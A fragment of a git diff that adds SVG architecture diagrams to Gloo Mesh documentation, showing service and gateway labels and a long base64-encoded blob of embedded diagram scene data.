Ay9VL3eJRcdTAwMTLHNVx1MDAxYVF06YCgqlx1MDAxZNdcZqica6/o4YSl41nZy1xcjFq/r4euQorK5VwiPvVYvyo9N9tx0lx1MDAxZSfUSJXLXHUwMDE3TeQn4k3LT45cdTAwMTDjQlwiTiRTkrlcdTAwMTbjp5DXXHUwMDBlYVJRREDAc0NFXHUwMDFlXHUwMDE5XHUwMDFmSu9cdTAwMDS34Z7TO0wxsGw4RXxW4JQwz5ykw4XWsHem+LhUyNvxc1x1MDAxZK3yQ3z/9XNP/i72erkhsM/vL/X3e7M6PrVcdTAwMDdE/PVzXHUwMDAyRrxVzVf5n//963//P6lZo3QifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientauthorizethe requestKeycloakhttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg new file mode 100644 index 0000000000..a4287e3dea --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVdcItuy7vv6XHUwMDE1jjqvm7yzb86botJcYlwi2CDcdVx1MDAwN4NOWulcdTAwMDXxjPPfb0yqSlx1MDAxMshMkk6TKnLvjbtcdTAwMDQjJzNnRHzR/88/Z2c/RtNe9cd/n/2ovpeL7UZlUJz8+I/5/bg6XHUwMDE4NrpcdTAwMWR4i8z+Pey+XHLKs0/WR6Pe8L//z/8p9nrW/K+scvf1519W29XXamc0hM/+X/j32dn/zF5t91x1MDAxYVTLo2Kn1q7O/mD21vx2UrHl3952O7NbY1wiXHUwMDE1XHUwMDE3XHUwMDFjXHT6+YnG8Fx1MDAxMu43qlbg7Zdie1idv2N+9UOOlZg+15+6OpMp4Fx1MDAwNOKVbjQ9v+1Lo92+XHUwMDFmTds/v1ixXFx/XHUwMDFi2Fx1MDAxNjVcdTAwMWNccrqtarZRXHUwMDE51c3dl37/+XfDLmzB/K9cdTAwMDbdt1q9U1x1MDAxZJpcckCfv+32iuXGaGrooPlvf+6C/XPv8C8lKLOI4lx1MDAxMrPZ6+eb5s8p5lx1MDAxNmNcXHNNXHUwMDE0IYTxpWWFu+3uwCzrv5jmiMv5wkrFcqtcdTAwMDar61TmnyFElapi/pnJry9cdTAwMGKUrV93N69CzW9TrzZq9ZH5jMLWfJHwOn8sw+rsiVx1MDAxMKRcYsJcZsn5O2ZcdTAwMDG9WGV+On7SVJdcdTAwMGbZVJM+Xby1efymXHUwMDFmKTTuXHUwMDFlfvx6//8tb3y9OOj92uBcdTAwMWaz72P7juafV8sn0H5cbm2H4yMzvVx1MDAxZSTDscwoXHUwMDFhylxya9ejyeT5+pPWwpEtXHUwMDBlXHUwMDA23cmPz3f+9z9edMOVdGHwkuj3WDzRSyanLTp8XHUwMDE2/uiufOW3XqX483hjwbRQWDKk9JxF2o1OXHUwMDBi3uy8tdvz33XLrTlH/GNb8GasqIQ7K1wihblcdTAwMTbwdH2z4qhcdTAwMWV/nZy/J6bRSWHQXHUwMDFjtsLjq2v0dayIt2RFRiwmXHUwMDA11si8KrnIi0xYXHUwMDFjK42I0JgxXHUwMDBmXkRKvvCSNy9iUlLKiVx1MDAxN5GyiO1iwoFcdTAwMTeJsLT9Ysu8qFxmXHUwMDFmckTxwVhxaP6xJSuW0336kruOZmqVay3uXHUwMDFlnlx1MDAxMiyR2lx1MDAwMyuGUlx1MDAxMZlpIZJcdTAwMWZWwq1SXHUwMDFjRd/wOHyMrMilOytKKVx1MDAxNNHcNycmXHUwMDEzN4NO47w4vH9cYkXbpVqnXcf3gedEJZFFQftLPXtdUYqSYUyYxlRcYkFcdTAwMGWiXHUwMDE0MSFogcuUk1JcXOE8zFx1MDAwNUJcdTAwMTRcdTAwMTEtXHUwMDBmxnq7aMFG8/E5fkGT43ohXHUwMDFlXHUwMDFmplx1MDAxYrnq5KO9XHUwMDA31ruU3YzMX3VahWaqXHUwMDEw4sOXV6L0MbKeXHLXLLGeklJLwpT2zXrtx+tRt3s9fmrpWnSQZtcvnUjgWU9jie2sp1x1MDAxNnmPKZ+89/1KXHUwMDEwOFFcdFx1MDAwMKv6YJz4TUowUFx1MDAxYyNcdHbjXHUwMDE4glxioYT6Z5hoTvVcdTAwMWZvxrXKezzWyYWRvKZcdTAwMGYy8Fxmw7G2XHUwMDAwakkmZq9kgWFAXGZaxFx1MDAxZsPMLk+GXHUwMDE5XHKKnWGvOIDztco0SstFhljlXHUwMDE5pYglbFx1MDAxN19mXHUwMDE54DUpMcfBNOFE7e2ynn16zzWL/VhcdTAwMGVcdTAwMTcuXHUwMDBihXO1XHUwMDA35TUsPupcdTAwMTRuNzIvLJW+eFx1MDAxMDR1S/t7oLuDyVx1MDAxOShcdTAwMTbn1Fx1MDAxZI9cdTAwMTKqqKZcXErfTF7JVNPtSmR4XHUwMDFkvyhcZq9QXGKfd0Qt6ExcdTAwMGWQnFx1MDAwN4LJXHUwMDE1Xc/keJmtNaegyJn6PkxcdTAwMWGMg6yocD3ImGFOtNhAWyVvy0mRmk7L70J86M6LeJ1e3Vx1MDAwNv4gKy0s5WZZMXY86Fx1MDAwZWnG4UhcdTAwMWZOVVx1MDAwNdHF8aeoXHUwMDE0IVxc7SymXHUwMDE5UVxiU/9cdTAwMWGldnfxOHh8eU8+1FqXd7XndknEU1/HiNv6/fFMoygkkVx1MDAxMEov2lmCYoszIVx1MDAxMFfwtpaHcfxjKdhcdTAwMDKb0VVOpDZcdTAwMWTz28eBXHUwMDA00lx1MDAwNFPKXHUwMDBmxnu7wMSb+E08d1x1MDAxMZaF5nu+2UuGp1x1MDAwM8GujpBHOOduPKI4xYIq5p9HknX6RC7yuYvk9UDmapnrt4tBNujKSlx1MDAwM650R12CK7+oa1x1MDAwN20lXHUwMDExWoe4MFlBXFxCY1x1MDAwMiqWnHxcdTAwMGZcdTAwMDfVXCLUNWYlpYmBKOY/ZJVcdTAwMTaYVlqj2kRXLiOp27tkf3j7cFx1MDAwNFx1MDAxY6LcOVx1MDAwNFx1MDAwZaBcdTAwMDVcdTAwMDaaQlx1MDAxY1x1MDAxOElcdTAwMTJcdTAwMWL+3zOHOFx1MDAwMDhcdTAwMDB5yH6txIux1lgrzlx1MDAwMlx1MDAxYaRK1sehRDjZqIYuXHUwMDFmi1x1MDAxZrX3RCHRXHUwMDFmXHUwMDFlIY9w6WrzXHUwMDAwemb+syvqtFCeZuSlTlx1MDAwZlx1MDAxMyn2Uq6nXHUwMDEyaeHCXHUwMDFmS+d8kTvY13FcdTAwMDfWzJ07qFx1MDAxMj6tXHUwMDFkJUhVl725o1RlpUrJXHUwMDAxY1x1MDAwMcRyYYRPZuGrXHUwMDEwXHUwMDBiTFx1MDAxYoZcdTAwMDBnXHUwMDA1kzkuXHUwMDFhyUTkgZGOjpWKrWjuLl3UXWfmXHUwMDE4Vd9Hfq1cdTAwMWI5apSG1Vx1MDAwZkXiz4328+tLqPpM2Vx1MDAxZaymq0I6jJMsPumWkvjueaRvou/3e6BbXHUwMDFll1wi8rJz0Xxo0HtcdTAwMTWdPjTDV6U90D3Q9p7IXHUwMDFhXHUwMDBienh+TlLTiyd1UcelVu0pVbjHwX1mydbNy+1r+uNjejM5r7zmOvSug3Za7sIq/uP3i3yfdltYpz/FRlx1MDAxMKdKS+Q/S8L76Vx1MDAwNVx1MDAxNfxcdTAwMDGE8lBvXHUwMDA2/PlSby+za3unNCirVZ3G5lx1MDAwZY3fOk1cdTAwMTHGXHRX8vuMon1cdTAwMWXa+eHodkb3jY+fXHUwMDA3b+G318XXRnu68Hxnp9kkYnRqXHUwMDAzWPTZv51cdTAwMWGsY1Kc2rd/WIXbz1x1MDAxMNriXHUwMDFmnrdcdTAwMWK1zkzxwFx1MDAxN6pcdTAwMGVcdTAwMTa4YtQoXHUwMDE3259cdTAwMWZ4bVQqdjxYhtVcdTAwMTSB5iDmXHUwMDA3y3VcdTAwMDeNWqNTbD8sLfb3UrdHo1x1MDAwMrv6NDBXWFOklH+nxl0jme5/vIc77dFI9oudu+iNdHNqXHUwMDA0XHUwMDA3klx1MDAxMneeZYpcdTAwMDRcdTAwMTeSXHUwMDEyathcdTAwMDSpYEJSXe9f3vP2/aCPXHUwMDBik3YjeZkvjt5OkHRfkPRA23sgsvipU1x1MDAxNuWnQqlZzYbReSR9gSa3f90uXHUwMDFjXHUwMDBi2XWI1PmGwUOkgrnnSWBBiDZBV9/KzXubg1x1MDAwYkk9PPZM+fXYf1x1MDAxMSQliDGT0v99QeTgINJqcTiaVIejb4Kka7DcMiT9XFzt7phUIXe21aZcdTAwMWWK2Vx1MDAwZsjaylx1MDAxN1x1MDAxMitexCOT24/qy6TWTmVCsfx4XHUwMDFiTPqVdS9cdTAwMDBcYsEuo1xiMLi0p67//HtcdTAwMTNn00IoxIQmxJZPu0V2075BqYano6RcbqifNJMqXtW60e6oX4/IcTvLXHUwMDBi9cTNXHSU7lx1MDAwYpRcdTAwMWVoe4+LbFx1MDAxODVcdTAwMWZcdTAwMTTX6U4jP1x1MDAwZVfuu7m3i8zktLlcdTAwMDElu1x1MDAwZes63zB4WFdx17R/ylx1MDAxMFx1MDAwMVx1MDAxY4j960zvXVx1MDAwZSjUXHUwMDA1ram9tKbklpxrTaKWXHUwMDE2dmCsS1Yr05RQVEqCXHUwMDBll1x1MDAwNXw8YLcxXHUwMDFjNbpcdTAwMTVHgIvlwqf3XHUwMDA2cNdcdTAwMDDDXHUwMDE1n+vPXHUwMDE17lx1MDAwMGuxa4olXHUwMDA2VGtcdTAwMWOt/pNjdHxQXHUwMDE5JqIjXFzQr/fDp8Hje4SVgo1qNUHaXCKcwumaveIl/lx1MDAxNNhiSEpcctyLKKU75ey7Z1huhWq5gFx1MDAwNTPEglx0alPo4ryJXHUwMDFhtfxccnl6REROabPtUkN6XHUwMDAytZvTPdD2XHUwMDFliOyTTmtF1UOzlU9cZmpqcvnWnzT3sFx1MDAwYslcdTAwMDZcbr3Keu6x+Xh7P1x1MDAxNu2QqNb3Uaj8gMqyVkSDXHUwMDFi/DR6LEYuUVx1MDAwNPc7e6B7z25Dw0mt1E3etVx1MDAxM8nQa+ElS1x1MDAxMnug+9FcYvNcXCWmiySTUWxcdTAwMTjrXHUwMDE20lx1MDAwZpd/3Sk7XHUwMDE2suvQvfNccudkV0T3d6F75o5cdTAwMWQoVppcboH9h2m9tzmg8F5cdTAwMTPMPOGDsPRcdTAwMWM+LFx1MDAwN5C/PrlcdTAwMDLsLc5cdTAwMTklJ3R/9iPS7nbPktVh/ezfTrG2sK1f4Mleg5WXgf58sT+Xulx1MDAxNcNcbtuJWEmGUnCWXHUwMDEx1/4rXHUwMDFis29ccpK5bl+95uXl7bjUuk2WasWgMyxGjEtLUFx1MDAwNsDfvNoyTVxmXHUwMDAxzojFXHSYwCZriirk7sVcdTAwMDZDmVx1MDAxNb1z4T05lnCHVjG2ytPfXHUwMDFjKzAjfKFEIUgoP1iVho7yQC381kNcdTAwMWWUut1Wo/PSPZt0XHUwMDA3LXhu5aqjQCB84S/9XHUwMDBihFG35yZcclx1MDAxNr7TMus7rMuT+39utFx1MDAwM/tjjF0rYSjihC5kkq9jf+9HXHUwMDFmSGNcdTAwMWaYn2rD/IxpLbRE8+2YMT/HXHUwMDE2iFx1MDAwNYokl6atpLu69sH87sY+2O1cdTAwMTZBnCGpJNe2qrC5W05bSCsmYVx0XGJcdTAwMDP3I5vb4ZftXHUwMDBm3KHIXHUwMDAxi2K+slTfto7iYHTR6FRcdTAwMWGdXHUwMDFhvDmXN787iP5Und5ccmBmjF5+m9XcWlRcdTAwMDL4YohjXCKFkLZcblmzZcWe2WtiXHRAm4hqKrUgVPz6wCd4/1HtVNavybvM37YmbMEhJIRyXGZ6RlxuMu+JYV9cdTAwMTKjXHUwMDAyUUkkJkrCWVlZU7s4XHUwMDFjhbuvr41cdTAwMTFs/V230Vx1MDAxOS1v8Wwvz40oqFeLKzJcdTAwMDa+k/29ZZnRM1x1MDAxNFx1MDAxN8/S/P+dzblq9o/P/////uP46ZDriTfX6lmf0/vH/nPjzG9Cln87XHUwMDA3O0zB/nPtX9o9XVx1MDAwZiPpxFx1MDAwYi9kmuX0XHUwMDFiivYznddJ4KWd8MhcIlx1MDAxNVx1MDAxYe2xjYNr11jmXHUwMDAwc+SKPDNccvGIQPZmQ3+ERNtcdIiEXlx1MDAwNvBBYNXhv51O8bXqjknEtkbKrpjEeYnb8atwrdRcdTAwMDBtXHUwMDBi0pBy/7HC3NV58jr1Ulx1MDAxZcmrq5TOt3t3g2g98OwqscXd2FVcdLrHOnZXdqVcdTAwMGWV66vsqlx1MDAxOeVcZlx1MDAxZjJIuEtrh2BcdTAwMTXl7klcdTAwMTaYp1x1MDAxOGxR4LTC7VxmXHUwMDE1e1x1MDAxYtVlx1wiwDhMleL+q7a8+1x1MDAxOFx1MDAwNFVcdTAwMTZcYmlhrmatXVx1MDAxNF3q+1wiKbVcdTAwMTQjYFx1MDAwMSiMXHUwMDA0t3dZ36MswFJYXFxrplx1MDAwMb4xJm1cdTAwMTU3n5JcdTAwMDGBSEJIczClXHUwMDA0SC9gjFVcdTAwMDeGYmB0XHT6jd1cdTAwMDK/wlZZRtc+LFx1MDAwNs9eK1x1MDAwYlZcZlhcdTAwMGLC9Fx1MDAwMIKnSYi9Q8OnyYCN20pSwTDAa1x0ZoU+cpPB7ezN3nU4dlx1MDAxYlx1MDAxYVxy7j5cdTAwMTLq0eFeIWZGLGzgJPFWRYGVPcKiXHUwMDE0M01cdTAwMTVfbjllXHUwMDFhw8EvNeNcdTAwMDKejp3dXHUwMDBmKHmIQz5cdTAwMDSyNKFgTYJ5XGbrlYivpDIxKamBUocrJFxyguBxXHUwMDEzL95cYnhBvCCNsFx1MDAxNpJj04dX4Hnl7ad4MeY7XCJcdTAwMWNEXHUwMDBiMS5cdTAwMGJEV6SLL5Hn3TxncU1Ea2ByXHUwMDAxz5dcImD2VcdccsaW/FxcXHUwMDE016BcdTAwMDf/LJE3P/Szv1857lx1MDAxYko891x1MDAxNE20/Nt5XHUwMDEwXHUwMDE3YVx1MDAwNNaIf7Pr/E3VI/1eKEqeX1Umn+5k68NW8ENCXHUwMDE0wJZWYNCI2euiV5gwbmFNOSAxIUyaprvM2zkmJP3GhIxgxvL7orif93Awv4LV5X838+tX3dAwaDEhh3Vth3dcdTAwMDDMeHS7XHUwMDA1nWBEjn+84/3sXHUwMDAzincoZ5bxyUumOIjfxVx1MDAxNG0z0oozaVK0kdZcdTAwMDK599jcJShEXHUwMDE4teA9Y84xiYCQw3AtQS1GiOZYUXhqq/2bMYY1KnzIVmlBXHUwMDA2PN66Z1x1MDAwMVxcUKNlYZtNU1Vi+8QvYEEtXHUwMDBlm1xmwIJoLMTcuNg0JOQ5U2dhQVhiUzvH4aBRJW0qZr4obSlcbv9hyvS9RYSwlUVcdTAwMWRcdTAwMTXacT/w5lo+6lx1MDAxYmJcdTAwMWTvVnc2XHUwMDBm2XJcdTAwMTCcM0qNXHUwMDFi1re8K3RcdTAwMWHx9PVj4a51w6M8kjp/f0+6XHJcdTAwMTNcZkpvXHUwMDExwFx1MDAwZVx1MDAxZVEhxS2m99VbZDmtbdfeXCJcbmmqXHUwMDBm6EnaXHUwMDA19lxcv/RcdTAwMTOP+lx1MDAxOb2JJ373LPLTp0TDJVx1MDAwNzdcYlx071x1MDAxN/VhW/ZcdTAwMWH5RF5cXODioNBLZ+vve6CbeFx0R15uy5VQ8aV5+SaHvDq8v9hcdTAwMDPdXHUwMDAzbe+J7CHIrstwdr7hQe1cdTAwMDBPheFcdTAwMWGTpK45XHUwMDA0mFx1MDAxMkE1aG3/XHST3ttcdTAwMWNQ61ibwKN772BELL0vdbEuw3mtylgtZ1x1MDAxNJgrg1wivi97Mjj5zr1Bt/JWXHUwMDFl9Yo1ZyP2UCWNazDSsmlrX+ZcdTAwMGUoz5bIvDqNSHJiUsJ8c+6DeCtXqtfj3PtTpVRcdTAwMWJev3beU1uFXHUwMDEwv1x1MDAxMOZcdK+uxlx1MDAwMKT2x7f7hnlCcjDQaDC9W+HbUJaiu4d8efJYzffPpei6dYbdqD/DYchcdTAwMWVcdTAwMWJ6XHUwMDFjVOLFRqU25JVxKtspvuRiJJzbXHUwMDAz3eN6an852XXo0fmGXHUwMDAxRI/atY0pIVJotEEg2XuTg4pcdTAwMWSFV+thReT+XFxcclv0vliZa8lcdTAwMTCjXGLDik5g8UelXG5cdTAwMTCuPXRcdTAwMDaKauHje1x1MDAwM4prUNYyUPy9xO1BouDusVx1MDAwZlx0Vlx1MDAwM1x1MDAxY9pcckZfqFwijeaeSXQkS1FcdTAwMWNcdTAwMTVq+JqfXHUwMDA231x1MDAxN+hcdTAwMDFcdTAwMTI14cFcdTAwMDWJSlJhZlx1MDAxM1x1MDAxZS5hfFx1MDAxN5R4TotPsjxcdTAwMWS/s36KXFzT+qB+3s/vrmqPi+yhwNyBlvvC+53yLe+FW2NcdTAwMTSN9aP55E0swMv9y8muXHUwMDAzic43XGZcdTAwMWVIXHUwMDE03N1RoTlCUiPm38Xovc1BhYmKe8BEzei3wsTVXHUwMDE2aYiauSGHXHUwMDFjbHk8OHFQXHUwMDFjNTo1XHUwMDE3nHggh+JcdTAwMWGgtYxcdTAwMTN/L3FcdTAwMTec6Fx1MDAxYTLGXHUwMDAyc1x1MDAwM1x1MDAxM7X/eoRcdTAwMDedvb1PNy5cdTAwMTO90lMtr9+vU7HMY7BxXCJ8giBcdTAwMGZLXHUwMDBlo1x1MDAwMFx1MDAwM0XFpcBBjVx1MDAxYYdcIlRcdTAwMTaq6Hxwr8lzvnlbyPeliyNtXHUwMDEzdXtcXGRcdTAwMGZcdTAwMTUzPtByXHUwMDBmXHUwMDA1XHUwMDE0j+uhXHUwMDFkXHUwMDBi2XVA0fmGQVx1MDAwNIruRXGEUo0421x1MDAwMCh6b3NAgaJRQ9zLoaiC5VCUglFkXHUwMDFmXHUwMDA2/Vx1MDAxN+PE6rhRnXyxP9FcdTAwMWJoreDEX0v05E73wjHmVUihkebw6p8/vVx1MDAwM2xcdTAwMWLx5zJcdTAwMWJcdTAwMWPSkNPY4lxcI5PUqexMMstcdTAwMTXh0jLdpbHJu0WUu/fW2pU9XHUwMDE1tThcdTAwMTVcXHJYXHUwMDA1XFzaIZmaXHUwMDExSyNcdTAwMDXPXHUwMDA1XHUwMDAwPFF0lXdcdFWMsz+tXHUwMDFmhc9cXGrvlI2zeeqyKcXk2Fx1MDAxNGgxXHUwMDA1XCKXSOnQYlx1MDAwN1PTh1x1MDAwN2uKuaBcdTAwMDK+wGqllq+Eau/4wOKqKDZ6XHUwMDAwlmZcdTAwMWP5aC5hPlx1MDAxN6Utglx1MDAxOcNCKEKZqSNdWdNR5VO7XHUwMDFleXOtXHUwMDFj9jm5f+w/N1x1MDAxN3qculvGnCpJXHUwMDA0Q/6FnrdcdTAwMWRcdTAwMTBUoaelsKSSiHN4XHUwMDAyyNak5KfQ05ZcdTAwMDEkiEpFXHUwMDExkctgaX9CT8KNXHUwMDE0p1x1MDAxMoOprkyx2qrQo9KSmjBJmJpVcq7IPMyQUPqQnq0/QuqBeFHSVFxmacUxU9KWqzRcdTAwMTd6zFx1MDAxMlx1MDAxNMSeUkLDsVBCbin0PEHM4qJcdTAwMDCDXHUwMDAw5NRUc8VMVaPTopCkkinBQFVcdTAwMDOHrlx1MDAxNvJcdTAwMWWT1HM98uZaPuxcdTAwMWLKvDXZha55wYBcdTAwMWHg2qRotlx1MDAxMZo+Np9z+edhq5hqj87D3W7hNeimmDKpXHUwMDFkrs2KhEA+LTE/bVx1MDAwMjApXHUwMDAxXHUwMDE3OUg8ZNyOtmtV4mGyUibHtZBw8sn3ZXl83sPB/eHdrGbhhG7kW8K43Xt5y0zQfVwiNlx1MDAxOb5+ZN/bo9ZcdTAwMWXoXiVypV54OuxcdTAwMTfj2VZD9Fx1MDAxYjfjlM/O8ytbeWDHireLX7iG4Uykh4F08e/hL92l4pdvV5dcXKabSTVO98LpWCHwXHUwMDFjbdjJlaNBx/l08e/I0as8XGay3c3v/9nWXFyD5jMjllx1MDAwMsnTwepHtlx1MDAwM48g92pcdTAwMThcdTAwMDNtXHUwMDAx5GL/XHUwMDE5jenGNDycPj9Hp7jSqiF5S27e3dqHXHUwMDA3JFxmprTy6NAnlNzjWPZ9R8G0XHUwMDE2WJCAjmVv9MK5iIp3pjf5bu9cdTAwMWFnM7SfduGQIGS/T3Op4bCXvU+2Olx0la1fdDRKjfZAl3Sb6elVszbIoFQ8klx1MDAxYV7EXHUwMDBi6ec90D3Q9lx1MDAxZYhsLiXakUiuIN9cdTAwMTLdYSr3qFxu/drgr9uFYyG7LrzmfMPv03Du7WddXHUwMDAxIOF05trx78jy3uWgXHUwMDAyQK2EXHUwMDA3XHUwMDAwRNxn/9nvqfTUXHUwMDEyTDqGT8G2//6+Ss81kO4wlZ6CusbFpVx1MDAxNCaFUvkv9OzX48/NWCckQrw5bWVKpVL99SrgoFx1MDAxNI6XR9toTPbHtntcdTAwMDelWEqtNfk+nvVSlfVy+byQzbApP7+9kFNUmzaj1d018IHIXHUwMDFlXHUwMDFk1lx1MDAxZOlcdTAwMTBTNJPOXHUwMDE3ebb+/vFUXHUwMDFlo8c90D2up3ZcIntcYrLrMKnzXHKDh0mFe/tcdTAwMTGOKCFII/9OSe9dXHUwMDBlKiZVhHgoN6L353HZR8KXomauXGaTJ1x1MDAxMPo9XHUwMDE1pGvg21x1MDAwMSpItetcYlSplOmVvEGXkZuLj/BYXVxcjlx1MDAwN6FKsvn2kX1h58mAg08tPcCnJiqw4JMgkyZDXHUwMDAzWj+q6H34dfrUT4xT2f6EoN5t/7Kwu6Y9LrKHgojHtVx1MDAwYieyhyC7XHUwMDBlXCI63zCAXHUwMDEwUbu3MFx1MDAwMO1cdTAwMDPWtSD+MaL3Nlx1MDAwN1x1MDAxNSNq5YFcdTAwMTE149+KXHUwMDExV1x1MDAxY5WKa41cdTAwMTnRp+rR76lcdTAwMWVdg7JcdTAwMGVQPWrzP67myFx1MDAxMkU3SVx1MDAxNsunXHUwMDEwytyEL3LR8+lLj2Uy8aitqXQgMVwinHbq5aD0O9fuXHUwMDFiMFwixlx1MDAxY2HJg1k62lx1MDAxZcaGtfak2Hm5rKdEs1x1MDAxNEvGq3x3VXtcXGRcdTAwMGZcdTAwMTUyP7JdOFx1MDAxMFI+rl04XHUwMDE2suuwp/NccoOIPd1cdTAwMTVcdTAwMWJcdTAwMTJMSY6xf83mvc1cdTAwMDHFnqDblIduo+jrYuZ+sCdcdTAwMTHUzLWX35dcdTAwMDVcdTAwMTYg7OlVkXog7LlcdTAwMDa97blcIpW7jzJkWGqF0Vx1MDAwNl1LvOOAQa3NQphZXHUwMDEyScYl4ojgpZRcdTAwMTaBLIy/qCDVXHUwMDAwfc5cdTAwMDFOMtO3bpVZ11x1MDAxN6RcIiqFXFxoXHUwMDFh+jdcdTAwMTVneeeWnC2WpDJJXHUwMDE0oopIKbCUTvNS91SS6lx1MDAxZHA4cy9Jtc9cdTAwMTk9+3NrUp1PvblcdTAwMGVXk2pcdTAwMWaetVx1MDAxY5PhXHUwMDAynrfcoJTD275cYqzY09rSXGYzborj4CgtiT1cZof/i0pSqZlqpeDIw1x1MDAwMZBcdTAwMGVcdTAwMTOk15WkgvUtXHUwMDExmOHy7yxJ9S31zFAzpFx0oZhcdTAwMTGlqKSr0mVfXHUwMDE1qd4g5sy1XCKVKIdZa39cXEGq84E3145cdTAwMDWp7lx1MDAwMs/uoFpOXcZcdTAwMTRv2J7O25dcdTAwMTBUiVx1MDAwNzrVwoQoM/TZjDJetMOUtOCIcVx1MDAwMs9cdTAwMDZcdTAwMGW+bcrq3iWeOc+aa6xcdTAwMTkjhEsnq1xmjlx1MDAwMcfAqlxuOENcdTAwMTDmUIVPXHUwMDE5XHUwMDAyS038nUDPt3hcdTAwMDFIxVx1MDAxMDNcdTAwMWGdaFwiTFx1MDAxN0aH1iMmaZ0zw46EXHUwMDExY1x1MDAxMW0n87yDXHUwMDA2S4tcdTAwMDJcdTAwMGVnmFx1MDAxMzhLZnyyXHUwMDEz9kTwfIFrXHUwMDE1IEKupTpqmVx1MDAxN3I98+ZaOe1cdTAwMWJKPc/IXG6cRVdcdTAwMDNcdTAwMTdMOkmI9p99M1x1MDAxMFe391wintJ88lx1MDAxMU0/dT/uri7dZldcdTAwMDckslx1MDAwMipTWVxurHhCzattkq/5e8r3WY/oNrl2y9RvXHUwMDA04J9cdTAwMDHzXHUwMDA2c8iP6lx1MDAxNC/i/YtR+2JQbeTIdSFe1LHg5mhfXHUwMDE10mGcZPFJt5TEd88jfVx1MDAxM32/31x1MDAwM93yuFx1MDAxNJGXnYvmQ4Peq+j0oVx1MDAxOb4q7YHugbb3QGRcdTAwMWLNx+f4XHUwMDA1TY7rhXh8mG7kqpOP9l+3XHUwMDBikdh761xcVFx1MDAxMzdcdTAwMTU64pNG+qkh6j6nuv9Bu5Bs3bzcvqY/PqY3k/PKa65D7zpoXHUwMDBmu9C77pf6XGZ1i/FwMVwipoPH5+5zdie6a1x1MDAxM5xcdTAwMWM3aE52RcR+U5DJw7ihXHUwMDE4M6HJXHUwMDA25V3ep1wioDEmpVx09dDy0m9d5nJuxKFiTFxigaWlKDslOFx1MDAwMVx1MDAxMH9cdTAwMWZcdTAwMTXfYPdsm757kGnUtX35pVxi01x1MDAxYVx1MDAxNLtcdTAwMWNh+r2+XHUwMDFkMLh09bYyhDSlmPivm+4/3U5Y6zlGk6jReevdJMhdWFx1MDAwNVx1MDAxZYNrS1x1MDAxMyQom70uhpiY3mOFyr4xOCWEXHUwMDE431xcMMsvzyeNu/akO0q2eFwiO1x0v98nRze3J1xmvi9cZn6g7T2RPTqyh0L2e1/u2pFPjjdcZlx1MDAxZaRVxLXVXGIliFGGlf+0Ke9dXHUwMDBlLqRl7kqTY1x1MDAxOSxIXHUwMDBiOpJQsDROaVOzfPjqWbvx2ljAqF+QO7VcdTAwMDZcdTAwMWI65O3P17lcdTAwMDO89Vx1MDAxOP3EXHUwMDExJsZcdTAwMDLdwP5cdTAwMWOgZoNd3mcq8lx1MDAxYb2pZKZRubxcdTAwMGU8vpXu1ifbZ1x1MDAwNfae8S2hIFlkUJtCPtTG14/R1G0/moxW3u7a4XzjvX6Ct/uCt1x1MDAwN9reXHUwMDEz2Vx1MDAxM9lcdTAwMDORXYdunW9cdTAwMThAdItdK1JcdTAwMTlcdTAwMTOMILvHaO2sRM9dXHUwMDBlLrolXHUwMDFlKpNcdTAwMDVcZt1ys1x1MDAxYa3o91W5XHUwMDA1XGLdViuNL1x1MDAxZWbqXHJcdFdLXHUwMDAyzFx1MDAwMrfHs4q793CmRFDEtfZvfEbe4leT9jW9OL9JRFi71L5cdTAwMTh9nG+DZ79yhlx1MDAxY1x1MDAxNspcdTAwMDI5pLg0uZJLqWJcdTAwMThxZcEmgb2HXGKzjzNabXQ+u7xcdTAwMTFtqcpKldLeXHUwMDEwrYJVYcGDiWhTk8RrepSrPPSLw+jtJNRcdTAwMTlcdTAwMTDm0rf3hGg3p3ug7T2Rhc/eXHUwMDBmbi5FmNNx966fmajJSFVcdTAwMTE9PbOAkl2HlJ1vXHUwMDE4QKTs0buFUoYk1Vx1MDAxYnRcdTAwMGbz3uaAQmVTXGZFvbSxXHUwMDE0XHUwMDE29aWNv1xiLGMhmTRD309o2Vx1MDAxY8lRo1v5Uri8XHUwMDA2cS7D5V8r3Fx1MDAwMS9L1/SjWVx1MDAwNZVcdTAwMTTM/8hcdTAwMTOWSFx1MDAwZlx1MDAwNevkp91hO55IXGYy08uQW6wmIHBZXHUwMDAz41nMLVJcdTAwMDNoWVtEXHUwMDBioZDJxFwi2L2E1lx1MDAwZlrer/+XMqUlcGowR540n6LlQreQaaNeXCJcdTAwMWUj+fPK28tcdC3vXHItXHUwMDFmaHuPi2w321x1MDAxOeXj11Ocn1x1MDAxNp9avffLh8k73sPmitrbZT379J5rXHUwMDE2+7FcdTAwMWMuXFxcdTAwMTZcbudqXHUwMDBmdO9H7JpcdTAwMTVrT/x+9HZbKmRKLJvdR3btcT21YyG7XHUwMDBlhjvfMHgwXFwj1ypcIsw4o6bIzL/H2nubXHUwMDAzXG7DQctLLy1cdTAwMGb6V/rS8lx1MDAwN0HhzFav+ctlLVx1MDAwNOKAXHUwMDAzTn22XHUwMDAxXHUwMDExt7vds2R1WD/7t1OsLeyqXHKPs8U/3Fx1MDAxYlx1MDAxZV9cdTAwMDNpl/H4fLE/l7pcdTAwMTXDKu7OsIRIwVx1MDAxMd6gw0M+W4ycX4QvyStp8sdcXOgyV61cdTAwMWNBiFx0XHRLStPogcOpI4tDxymyYFx1MDAxM1x1MDAxNMHcNI3RaidcdTAwMWa2J78y6jB0l652caCCc4r0XHUwMDAxXHUwMDA3i+80fnD7XG6vXHUwMDAzK